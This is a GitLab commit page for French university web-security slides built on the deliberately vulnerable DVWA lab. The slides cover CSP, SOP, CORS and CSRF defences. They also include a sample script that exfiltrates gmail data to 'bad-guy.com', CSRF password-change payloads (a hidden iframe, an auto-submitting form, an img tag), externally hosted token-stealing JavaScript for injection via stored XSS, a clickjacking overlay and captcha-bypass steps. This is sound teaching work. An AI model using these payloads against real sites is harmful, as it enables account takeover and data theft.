Skip to content
Snippets Groups Projects
Commit 9c0a3882 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

WIP CSRF / XSS

parent 0ebeb465
No related branches found
No related tags found
No related merge requests found
Pipeline #11377 passed
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in iOS.
*/
html {
line-height: 1.15; /* 1 */
-webkit-text-size-adjust: 100%; /* 2 */
}
/* Sections
========================================================================== */
/**
* Remove the margin in all browsers.
*/
body {
margin: 0;
}
/**
* Render the `main` element consistently in IE.
*/
main {
display: block;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box; /* 1 */
height: 0; /* 1 */
overflow: visible; /* 2 */
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/* Text-level semantics
========================================================================== */
/**
* Remove the gray background on active links in IE 10.
*/
a {
background-color: transparent;
}
/**
* 1. Remove the bottom border in Chrome 57-
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none; /* 1 */
text-decoration: underline; /* 2 */
text-decoration: underline dotted; /* 2 */
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Remove the border on images inside links in IE 10.
*/
img {
border-style: none;
}
/* Forms
========================================================================== */
/**
* 1. Change the font styles in all browsers.
* 2. Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
font-family: inherit; /* 1 */
font-size: 100%; /* 1 */
line-height: 1.15; /* 1 */
margin: 0; /* 2 */
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input { /* 1 */
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select { /* 1 */
text-transform: none;
}
/**
* Correct the inability to style clickable types in iOS and Safari.
*/
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button;
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* Correct the padding in Firefox.
*/
fieldset {
padding: 0.35em 0.75em 0.625em;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box; /* 1 */
color: inherit; /* 2 */
display: table; /* 1 */
max-width: 100%; /* 1 */
padding: 0; /* 3 */
white-space: normal; /* 1 */
}
/**
* Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
vertical-align: baseline;
}
/**
* Remove the default vertical scrollbar in IE 10+.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10.
* 2. Remove the padding in IE 10.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield; /* 1 */
outline-offset: -2px; /* 2 */
}
/**
* Remove the inner padding in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button; /* 1 */
font: inherit; /* 2 */
}
/* Interactive
========================================================================== */
/*
* Add the correct display in Edge, IE 10+, and Firefox.
*/
details {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Misc
========================================================================== */
/**
* Add the correct display in IE 10+.
*/
template {
display: none;
}
/**
* Add the correct display in IE 10.
*/
[hidden] {
display: none;
}
content/slides/1337/images/xss/redirect.png

25.8 KiB

## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
* En-tête renvoyée côté serveur
* protéger son contenu
* protéger ses utilisateurs
* possibilité de reporting
* quelles tentatives ont été menées
## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
```http
Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'
```
* informera le browser que
* seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
* les balises iframes ne doivent pas être interprétées
## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)
![CSP](images/xss/csp.png "CSP")<!-- .element style="text-align: center" -->
* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)
Note:
- couvre le cas d'un XSS js dans une balise src
- couvre également le cas d'une iframe qui recouvre une page légitime
## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
* concerne *XMLHttpRequest*
* restreint les interactionsaux ressources de même origine
* protocole + "://" + hôte + ":" + [port]
## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
protège l'intégrité de la page
```js
$(function() { // on Load jQuery style
$.ajax({
url: "http://bad-guy.com/data.php"
}).done(function(untrustedData) {
injectInMyDOM(untrustedData);
});
});
```
![SOP](images/xss/sop.png "SOP")<!-- .element style="text-align: center" -->
## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
protège la confidentialité des sessions
```js
$(function() { // on Load jQuery style
$.ajax({
url: "https://gmail.com"
}).done(function(sensitiveData) {
$.post("http://bad-guy.com/data.php", { sensitive_data: sensitiveData });
});
});
```
## [<i class="fa fa-medkit"></i> **CORS**: Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
* contrôler les accès en mode cross-site
* concerne l'échange entre fournisseurs de services
* effectuer des transferts de données sécurisés
* entre sources sûres niveau injection & confidentialité
## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
le client ajoute automatiquement une en-tête HTTP
```http
Origin: http://www.foo.com
```
le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine
```http
Access-Control-Allow-Origin: http://www.foo.com
```
en-tête d'autorisation pour tous les domaines
```http
Access-Control-Allow-Origin: *
```
## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
* autorise tous les verbes HTTP
* [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET
* [<i class="fa fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy)
Note:
- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
- doit être supporté par le navigateur
- la valeur * est possible mais risquée
- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha)
* Security level: low
* action configurée en 2 étapes
* Etape 1
* validation du captcha
* Etape 2
* exécution de l'action
* en modifiant le paramètre step à 2 on bypass le captcha
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
* Security level: medium
* action configurée en 3 étapes
* Etape 1
* validation du captcha
* Etape 2
* Confirmation de l'action
* Etape 3
* exécution de l'action
* en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha
## <i class="fa fa-medkit"></i> Se préserver
* Côté client
* [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner
* [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site
* [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de sites non sûrs
* [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif
......@@ -2,8 +2,12 @@
## aka Cross-Site Request Forgery
<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
<br /><br /><br /><br /><br /><br />
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
### <i class="fa fa-cogs"></i> Principe
### <i class="fas fa-cogs"></i> CSRF
* affecte toute ressource disponible directement
* sans étape intermédiaire
......@@ -13,30 +17,7 @@
* redirection arbitraire
### <i class="fa fa-cogs"></i> Principe
* le but est de rediriger un utilisateur vers une url
* à l'insu de son plein gré
* pour qu'il clique tous les coups sont permis
### <i class="fa fa-user-secret"></i> Que peut on faire?
* exécuter des opérations avec les permissions d'un autre utilisateur
* clickjacking
* spam
Note:
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- spam de commentaire
- urls connues (CMS, ...)
## Mode opératoire
### <i class="fas fa-cogs"></i> CSRF
![alt text](images/csrf/csrf.png "CSRF")
......@@ -47,69 +28,57 @@ Note:
- url shortner
## Différentes techniques
### <i class="fas fa-ice-cream"></i> CSRF / types
* Url ou formulaires forgés relayés via XSS
* redirection arbitraire via XSS
* urls / formulaires forgés relayés via [XSS](xss.html)
* redirections arbitraires relayés via [XSS](xss.html)
* Social engineering
* social engineering
* initulé de lien malicieux
* url shortner
* le lien image déguisé
* Phishing
* par mail par exemple
* approche probabiliste
* phishing
* par mail
* par [XSS stored](xss.html)
## Différentes techniques
* Modficiation de l'overlay en css
* likejacking ou +1jacking
* [Arrêtez de vous faire avoir sur Facebook !!! ](http://www.mycommunitymanager.fr/arretez-de-vous-faire-avoir-sur-facebook/)
### <i class="fa-solid fa-bomb"></i> CSRF / payload
```css
a#malice {
display: block;
width: 100%;
height: 100%;
position: absolute;
top: 0;
bottom: 0;
opacity: 0.001;
}
```
* le but est de rediriger un utilisateur vers une url
* à l'insu de son plein gré
* exécuter des opérations avec les permissions d'un autre utilisateur
* envoyer du spam (de commentaire)
Note:
- XSS réfléchi ou stocké ca marche
- ya toujours un con qui clique
- insolvable click jacking insolvable
- aucun moyen de distinguer les like légitimes
- ils proviennet tous d'un serveur externe à facebook
- possibilité de blacklist pour des sites réputés frauduleux
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- spam de commentaire
- urls connues (CMS, ...)
### [CSRF stored - security low](http://dv.wa/vulnerabilities/csrf/)
url vulnérable
### <i class="fa-solid fa-bomb"></i> CSRF / low
```http
http://dv.wa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
```
New password: pipo
Confirm new password: pipo
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
passage de paramètres via GET en injectant
* via GET en injectant
```http
<iframe
src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=1337&password_conf=1337&Change=Change';"
src="javascript:window.location='http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
height="0" width="0" style="border:0;">
</iframe>
```
via POST avec en scriptant
* possible via POST avec en scriptant
```http
<form action="http://dv.wa/vulnerabilities/csrf/admin.php" method="post" id="formid"
<form action="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
onload="document.getElementById('formid').submit();">
<input type="hidden" name="password_new" value="1337"/>
<input type="hidden" name="password_conf" value="1337"/>
......@@ -126,93 +95,164 @@ Note:
- si on a une liste des utilisateurs du site le brute force est un option
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa-solid fa-bomb"></i> CSRF / medium
* **Fausses Bonnes Idées**
* utiliser la méthode POST
* vérifier le referer (ou n'importe quelle autre en-tête)
* [CSRF stored - security medium](http://dv.wa/vulnerabilities/csrf/)
* Double Submit Pattern
* [CSRF stored - security high](http://dv.wa/vulnerabilities/csrf/)
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
```
That request didn't look correct.
```
### <i class="fa fa-medkit"></i> Synchronizer Token Pattern
<small>comparaison requête forgée VS légitime <i class="fa-solid fa-right-long"></i> filtrage par referer</small>
![alt text](images/csrf/csrf-stp.png "CSRF")
```
if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {
```
<i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite**
## <i class="fa fa-medkit"></i> Synchronizer Token Pattern
```
Referer: http://vm-etu-vimazeno.local.isima.fr/
```
* token de session
* jeton dans un formulaire OU dans l'url ET dans la session utilisateur
* avec éventuellement une salaison propre à l'utilisateur comme l'IP par exemple
* on préserve ainsi le token et on cache un manque d'entropie éventuel
<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_s)
```http
<input type="hidden" name="csrftoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt">
```
Name: CSFR
Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />
```
## <i class="fa fa-medkit"></i> Synchronizer Token Pattern
### <i class="fa-solid fa-bomb"></i> CSRF / high
* <i class="fa fa-frown-o"></i> compliqué avec une utilisation massive de XMLHttpRequest
* <i class="fa fa-frown-o"></i> possibilité de [jetons malins via fixation de session via le referer](http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html) ou de brute force
* utiliser des nonces pourrait être une solution
* **session token** dans un nouveau champs caché du formulaire
```
<input
type="hidden"
name="user_token"
value="840473d541a2e5e4b28e39cc31762f9d">
```
## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
* le **session token** peut aussi se trouver dans l'url
* éventuellement salaison propre à l'utilisateur
* IP, user-agent
* ajout d'entropie
* adapté à une utilisation massive de JS
* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
### <i class="fas fa-medkit"></i> CSRF / high / session token
```js
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
```
![alt text](images/csrf/csrf-stp.png "CSRF")
## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
### <i class="fa-solid fa-bomb"></i> CSRF / high
* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small>
```js
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
<i class="fa-solid fa-lightbulb"></i> procéder en 2 temps
1. récupérer la valeur du session token
2. jouer la requête CSRF avec le session token
Possible via une [XSS](XSS.html) (mais cassé)
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload js
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js](https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js)</small>
```
function getToken() {
var token='&user_token='
+ document
.getElementById("get_token")
.contentDocument
.getElementsByName("user_token")[0]
.value;
var link = "http://vm-etu-vimazeno.local.isima.fr/"
+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+ token;
document.getElementById("play_CSRF").src=link;
}
```
<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur vm-etu-vimazeno
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS
<i class="fa-solid fa-lightbulb"></i> cacher les iframes
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
id="get_token"
src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/"
onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>
```
* Le serveur vérifie la validité du token
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html)
<i class="fa-solid fa-triangle-exclamation"></i> A jouer dans [XSS / high](XSS.html)
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha)
### <i class="fa-solid fa-bomb"></i> CSRF / high / xhr / payload
* Security level: low
* action configurée en 2 étapes
* Etape 1
* validation du captcha
* Etape 2
* exécution de l'action
* en modifiant le paramètre step à 2 on bypass le captcha
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js](https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js)</small>
```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
```
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
```
* Security level: medium
* action configurée en 3 étapes
* Etape 1
* validation du captcha
* Etape 2
* Confirmation de l'action
* Etape 3
* exécution de l'action
* en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html)
## <i class="fa fa-medkit"></i> Se préserver
* Côté client
* [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner
* [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site
* [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de sites non sûrs
* [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif
* **Fausses Bonnes Idées**
* utiliser la méthode POST
* vérifier le referer (ou n'importe quelle autre en-tête)
* Session token
* Double Submit Pattern
## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
* adapté à une utilisation massive de JS
* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
```js
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
expires=Thu, 23-Jul-2015 10:25:33 GMT;
Max-Age=31449600;
Path=/
```
## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
```js
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
```
* Le serveur vérifie la validité du token
\ No newline at end of file
......@@ -100,6 +100,8 @@ install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon
## DVWA
* htaccess to protect vm
* security cookie
* stocké dans la session
## Debian
......
This diff is collapsed.
......@@ -27,4 +27,40 @@
reveal code {
background-color: gray;
}
.fa-circle-check {
color: green;
}
.fa-circle-xmark {
color: red;
}
.fa-bomb {
color: grey;
}
.fa-lightbulb {
color: yellow;
}
.fa-medkit {
color: pink;
}
.fa-triangle-exclamation {
color: orange;
}
.fa-cogs {
color:steelblue;
}
.fa-ice-cream {
color:tomato;
}
.fa-firefox-browser {
color: orange;
}
\ No newline at end of file
"use strict";
Reveal.addEventListener( 'ready', function( event ) {
for (let a of document.getElementsByTagName("a")) {
let url = new URL(a.href);
if (
url.origin == "http://vm-etu-vimazeno.local.isima.fr"
&& document.getElementById("username").value != ""
Reveal.addEventListener( "ready", (event) => {
let user = ''
if(document.location.href.indexOf("?") == -1) {
user = 'vimazeno';
}
else {
user = document.location.href.substring(
document.location.href.indexOf("?")+1,
document.location.href.indexOf("#")
);
}
console.log(user);
let as = document.getElementsByTagName("a");
for (let a of as) {
let link = a.href;
if(
a.classList == ''
&& a.href != ''
&& !a.href.includes('javascript:')
) {
a.href = "http://vm-" + document.getElementById("username").value + ".local.isima.fr" + url.pathname + url.search;
a.target = "_blank";
//console.log(link);
let url = new URL(link);
if (
url.origin == "http://vm-etu-vimazeno.local.isima.fr"
&& user != ""
) {
a.href = "http://vm-" + user + ".local.isima.fr" + url.pathname + url.search;
a.target = "_blank";
}
}
}
} );
\ No newline at end of file
for (let code of document.getElementsByTagName("code")) {
code.innerHTML = code.innerHTML.replaceAll("http://vm-etu-vimazeno.local.isima.fr", "http://vm-" + user + ".local.isima.fr");
}
});
\ No newline at end of file
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment